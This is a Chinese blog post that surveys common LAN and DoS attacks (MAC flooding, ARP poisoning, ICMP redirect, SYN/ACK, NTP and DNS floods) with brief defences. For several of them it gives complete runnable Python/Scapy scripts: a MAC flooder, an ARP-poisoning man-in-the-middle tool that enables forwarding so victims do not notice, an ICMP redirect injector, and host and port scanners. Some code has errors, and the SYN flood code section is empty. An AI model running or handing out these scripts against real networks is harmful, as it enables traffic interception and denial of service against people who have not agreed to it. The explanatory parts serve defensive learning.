1. 程式人生 > >常見的網路攻擊攻防方法

常見的網路攻擊攻防方法

常見的網路攻擊,按照osi七層協議,可以分為:
1,物理層 線路偵聽
2,資料鏈路層 mac_flood
3,網路層 arp_poison,icmp_redirection
4,傳輸層 tcp_flood(包含ack_flood和syn_flood),udp_flood(ntp,dns)
7,應用層 connection_flood,http_get等等,

按照攻擊目的,可以分為:
中間人攻擊(為了獲得網路資料):mac_flood,arp_poison,icmp_redirection
拒絕服務攻擊:tcp_flood,udp_flood,connection_flood,http_get

按照攻擊者的位置,可以分為:
攻擊者必須與攻擊目標處於同一網段:mac_flood,arp_poison,icmp_redirection,線路偵聽
不必處於同一網段:其他

=======================mac_flood===================================
原理:
mac地址泛洪,通過傳送大量的隨機源mac地址幀,攻擊交換機的mac地址表,使換機的mac地址表填滿,並拒絕增加新的合法mac地址條目。一旦網段裡主機的mac地址無法增加進交換機的mac地址表,該主機的幀將被廣播,攻擊者將會收到該主機的網路資訊。

表現:
突然的,網段中所有主機將會收到大量廣播幀。

解決方法:
在交換機上做配置,限制每個埠匹配mac地址的總數。

攻擊程式碼:

from scapy.all import *
import time

class Mac_flood:
    def __init__(self,times):
        self.times = times
        self.frame = Ether(dst=RandMAC('*:*:*:*:*:*'),src=RandMAC('*:*:*:*:*:*'))/IP(src=RandIP('*.*.*.*'),dst=RandIP('*.*.*.*'))

    def flood
(self):
for i in xrange(99999): t1 = time.time() sendp(self.frame,loop=1,count=self.times) t2 = time.time() print 'it takes',t2-t1,'seconds to send',self.times,'frames...' if __name__ =='__main__': mac_flood = Mac_flood(10000) mac_flood.flood()

==========================arp_poison===========================
原理:
利用arp協議的漏洞,攻擊目標主機或網的arp列表,擷取目標主機或網管的流量。攻擊目標一般是對目標主機和網關同時進行。

表現:
網段中有ip地址突然改變mac地址。

解決方法:
主機使用靜態的arp列表,對閘道器進行繫結。有條件的話,網管也要使用靜態德arp列表,對主機繫結。

攻擊程式碼:
tool.py

import os
import time

class Tool:
    def __init__(self):
        pass

    def enable_routing(self):
        os.system('sysctl net.ipv4.ip_forward=1')
        print 'start to route.'

    def disable_routing(self):
        os.system('sysctl net.ipv4.ip_forward=0')
        print 'routing finished.'

    def set_mac(self,iface,mac):
        os.system('ifconfig '+iface+' down')
        time.sleep(1)
        os.system('ifconfig '+iface+' hw ether '+mac)
        time.sleep(1)
        os.system('ifconfig '+iface+' up')
        time.sleep(1)
        print 'set_mac,mac is',mac

    def reset_mac(self):
        os.system('ifconfig enp3s0 down')
        time.sleep(1)
        os.system('ifconfig enp3s0 hw ether '+'34:64:a9:12:60:73')
        time.sleep(1)
        os.system('ifconfig enp3s0 up')
        time.sleep(1)
        print 'reset_mac,mac is :34:64:a9:12:60:73'

    def set_promisc(self,iface):
        os.system('ifconfig '+iface+' promisc')
        print 'set promisc'

    def set_non_promisc(self,iface):
        os.system('ifconfig '+iface+' -promisc')
        print 'set non_promisc'

if __name__=='__main__':
    tool=Tool()
    tool.enable_routing()
    #tool.set_mac('enp3s0','00:11:22:22:22:22')
    #tool.reset_mac()
    #tool.set_non_promisc('enp3s0')

先開啟本機的路由功能,使得擷取的流量依然能夠到達目標主機,以免目標主機察覺。

arp_poison.py

from scapy.all import *
import time
import os


class Arp_poison:
    def __init__(self,gateway_ip,victim_ip,iface):
        self.gateway_ip = gateway_ip
        self.victim_ip = victim_ip
        self.iface = iface

    def poison(self):
        #get mac from gateway and victim
        answer_gateway = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
            /ARP(pdst=self.gateway_ip),timeout=5,iface=self.iface)
        if answer_gateway is None:
            print 'there is no answer comes from gateway!'
            return -1;
        answer_victim = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
            /ARP(pdst=self.victim_ip),timeout=5,iface=self.iface)
        if answer_victim is None:
            print 'there is no answer comes from victim!'
            return -1;
        self.gateway_mac = answer_gateway.hwsrc
        self.victim_mac = answer_victim.hwsrc
        self.local_mac = answer_victim.dst

        #print mac info
        print 'gateway_mac is :',self.gateway_mac
        print "victim_mac is :",self.victim_mac
        print 'local_mac is :',self.local_mac

        #forge arp packet 
        to_gateway = Ether(src='00:00:00:00:00:00',dst=self.gateway_mac)\
            /ARP(op=2,hwsrc=self.local_mac,psrc=self.victim_ip,\
            hwdst='00:00:00:00:00:00',pdst='0.0.0.0')

        to_victim = Ether(src='00:00:00:00:00:00',dst=self.victim_mac)\
            /ARP(op=2,hwsrc=self.local_mac,psrc=self.gateway_ip,\
            hwdst='00:00:00:00:00:00',pdst='0.0.0.0')

        #send it
        for i in xrange(99999):
            sendp([to_gateway,to_victim],iface=self.iface)
            time.sleep(0.5)


if __name__ == '__main__':
    arp_poison = Arp_poison('192.168.1.1','192.168.1.202','enp3s0')
    arp_poison.poison()

===============================icmp_redirect===================
原理:
攻擊目標主機的路由表,使之定向到攻擊者。

表現:
路由表發生改變,一般情況下是預設路由發生改變。

解決方法:
關閉icmp協議

攻擊程式碼:

from scapy.all import *
import time


class Icmp_redirection:
    def __init__(self,victim_ip,gateway_ip,iface):
        self.victim_ip=victim_ip
        self.gateway_ip=gateway_ip
        self.iface=iface

    def redirect(self):
        #get victim_mac,gateway_mac
        answer_victim = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
            /ARP(pdst=self.victim_ip),timeout=5,iface=self.iface)
        if answer_victim is None:
            print 'there is no answer comes from victim.'

        answer_gateway = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
            /ARP(pdst=self.gateway_ip),timeout=5,iface=self.iface)
        if answer_gateway is None:
            print 'there is no answer comes from gateway!'

        self.gateway_mac = answer_gateway.hwsrc
        self.victim_mac = answer_victim.hwsrc
        self.local_mac = answer_victim.dst
        self.local_ip = answer_victim.pdst
        print 'gateway_mac is ',self.gateway_mac
        print 'victim_mac is ',self.victim_mac
        print 'local_mac is ',self.local_mac
        print 'local_ip is ',self.local_ip
        time.sleep(2)
        print 'start to redirect'
        time.sleep(0.5)

        #forge icmp data
        to_victim = Ether(src=self.gateway_mac,dst=self.victim_mac)\
            /IP(src=self.gateway_ip,dst=self.victim_ip)\
            /ICMP(type=5,code=1,gw=self.local_ip)\
            /IP(src=self.victim_ip,dst='0.0.0.0')
        to_victim.show()

        #send it
        sendp(to_victim,loop=1,count=99999,inter=0.5)


    def cancel_redirect(self):
        pass


if __name__ == '__main__':
    ir=Icmp_redirection('192.168.1.202','192.168.1.1','enp3s0')
    ir.redirect()


攻擊前,要記得開啟路由功能,以免目標主機察覺。

===================================================================
以上三種攻擊,均為中間人攻擊,要求攻擊者與被攻擊者在同一網段,能夠竊取目標主機的流量資訊,危害嚴重。下面的攻擊均為拒絕服務攻擊,不要求在同一網段,不能夠竊取目標主機的流量資訊,以攻擊目標主機,使之無法正常工作為目標,危害相對較小。

==================================================================

=================================syn_flood========================
原理:
tcp連線的三次握手過程中,例如a想與b建立tcp連線,三次握手分別是:1,a傳送syn給b。2,b傳送syn和ack給a。3,a傳送ack給b。
對於b,每當收到來自a的syn,b都要分配一段記憶體,存放ip地址,埠號,序列號,時間戳等資訊。如果a傳送大量的syn請求,b就會不斷的分配記憶體,結果會是:1,b的記憶體耗盡,無法相應服務請求,或是2,佇列被填滿,無法響應新來的合法的請求。無論是那種情況,結果都是拒絕服務。

表現:
伺服器收到大量syn請求,並且該請求均無下文。

解決方法:
解決方法大體可以分為三類:
1,根據syn請求包的邏輯來判斷syn請求是否合法,例如syn重傳
2,修改主機作業系統相關引數,提高作業系統對syn_flood的防禦能力,例如縮短syn_timeout時間,減小重發次數,增加佇列容量
3,syn_cookie和syn_proxy
syn_cookie將需要儲存在記憶體中的資訊,通過一個hash函式,計算出一個cookie值,作為序列號,傳送給對方,在收到syn後並不立即分配記憶體,而是等到收到ack,並驗證後在分配記憶體,一定程度上解決了syn_flood攻擊的問題(解決的問題是:收到syn不再立即分配記憶體了)。但是,使用syn_cookie,提高了cpu的計算壓力(在於收到syn要計算cookie值,收到ack後要驗證),實質上是一種用cpu計算資源換取記憶體空間的方案。並且,使得主機對於ack_flood攻擊更加敏感。

syn_proxy是一種,將對於主機的tcp_flood攻擊轉嫁到syn_proxy上的方案。

攻擊程式碼:

===============================ack_flood========================
原理:
主機在收到ack後,會查詢佇列種是否存在相應的syn,如果沒有,則直接丟棄ack。因此ack_flood本來是一種較弱的網路攻擊。但是,當主機打開了syn_cookie後,主機要處理的事情就變得複雜了,要通過複雜的計算,驗證ack的合法性。因此,ack_flood主要攻擊使用了syn_cookie的主機,使之cpu計算資源耗盡,拒絕服務。

表現:
同syn_flood,只不過ack標誌為1,syn標誌為0

解決方法:
參考syn_flood

=============================ntp_flood==========================
原理:
ntp_flood是一種反射型udp攻擊,有兩個特點:1,攻擊者不直接攻擊目標主機,而是構造包,將流量發給提供ntp(network time protocol)服務的主機。2,通過了ntp主機後,流量會被放大,造成目標主機網路擁堵。

表現:
主機收到大量的ntp流量

解決方法:
1,找運營商清洗流量
2,找到攻擊者本人解決

==============================dns_flood=========================
原理:
傳送大量的dns查詢報文,使得dns伺服器資源耗盡。

表現:

解決方法:

============================ip掃描和埠掃描=====================
ip掃描,掃描網段內開啟的主機

from scapy.all import *
import time


class Ip_scan:
    def __init__(self):
        pass

    def scan(self,ip_set):
        arp_packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_set)
        ans,uans = srp(arp_packet,timeout=3)
        alive_ip_list=[]
        for (send,receive) in ans:
            alive_ip_list.append(receive.getlayer('ARP').psrc)
        alive_ip_list.sort()
        for i in alive_ip_list:
            print "alive host :",i

if __name__ == '__main__':
    ip_scan = Ip_scan()
    ip_scan.scan('192.168.1.1/24')

掃描tcp埠
原理是:傳送ack給目標主機的埠,如果無返回,則說明該埠被過濾,如果返回icmp不可達,說嗎埠關閉,如果返回syn+ack,則說明埠是開放的。

from scapy.all import *
import time



class Tcp_scan:
    def __init__(self):
        pass

    def scan(self,ip_addr,port_set):
        filtered_port_list=[]
        opened_port_list=[]
        closed_port_list=[]
        tcp_segment = IP(dst=ip_addr)/TCP(dport=port_set,flags='S')
        print 'start to scan ',ip_addr
        ans,uans = sr(tcp_segment,timeout=3)
        for i in uans:
            filtered_port_list.append(i.getlayer('TCP').dport)

        for (send,receive) in ans:
            if receive.haslayer('ICMP'):
                if receive.getlayer('ICMP').type == 3 and\
                    receive.getlayer('ICMP').code == 3:
                    closed_port_list.append(send.getlayer('TCP').dport)
                else:
                    print 'get a ??? icmp answer,type is :'\
                    ,receive.getlayer('ICMP').type,'and code is:'\
                    ,receive.getlayer('ICMP').code,'...'

            elif receive.haslayer('TCP'):
                flags = receive.getlayer('TCP').flags
                if flags == 18:
                    opened_port_list.append(receive.getlayer('TCP').sport)
                else:
                    closed_port_list.append(receive.getlayer('TCP').sport)

        filtered_port_list.sort()
        closed_port_list.sort()
        opened_port_list.sort()

        print 'open port is :',opened_port_list
        print '###############################'
        print 'closed port is :',closed_port_list
        print '###############################'
        print 'filtered_port_list is :',filtered_port_list




if __name__ == '__main__':
    tcp_scan = Tcp_scan()
    tcp_scan.scan('192.168.1.202',(1,1025))

掃描udp埠
原理是:傳送udp資料,如果返回udp,說明埠是開放的。如果返回icmp不可達,說明埠關閉。如果返回icmp,type為3,code為1,2,9,10,13,說明埠被過濾了。如果無迴應,則有可能是過濾或者關閉。

from scapy.all import *
import time


class Udp_scan:
    def __init__(self):
        pass

    def scan(self,ip_addr,port_set):
        udp_datagram = IP(dst=ip_addr)/UDP(sport=3000,dport=port_set)
        print 'scan host',ip_addr,'......'
        ans,uans = sr(udp_datagram,timeout=3)
        open_port_list = []
        closed_port_list = []
        filtered_port_list = []

        for (send,receive) in ans:
            if receive.haslayer('UDP'):
                open_port_list.append(i[1].getlayer('UDP').sport)

            if receive.haslayer('ICMP'):

                if (receive.getlayer('ICMP').type==3) and \
                    (receive.getlayer('ICMP').code==3):

                    closed_port_list.append(send.getlayer('UDP').dport)

                if (receive.getlayer('ICMP').type==3) and \
                    receive.getlayer('ICMP').code in [1,2,9,10,13]:

                    filtered_port_list.append(send.getlayer('UDP').dport)

        print 'open port :',open_port_list
        print '#######################'
        print 'closed port :',closed_port_list
        print '#######################'
        print 'filtered port :',filtered_port_list
        print '######################'
        print 'other port may be in filtered or opened state!!!!!!!!!!'


if __name__ == '__main__':
    udp_scan=Udp_scan()
    udp_scan.scan('192.168.1.202',(1,1024))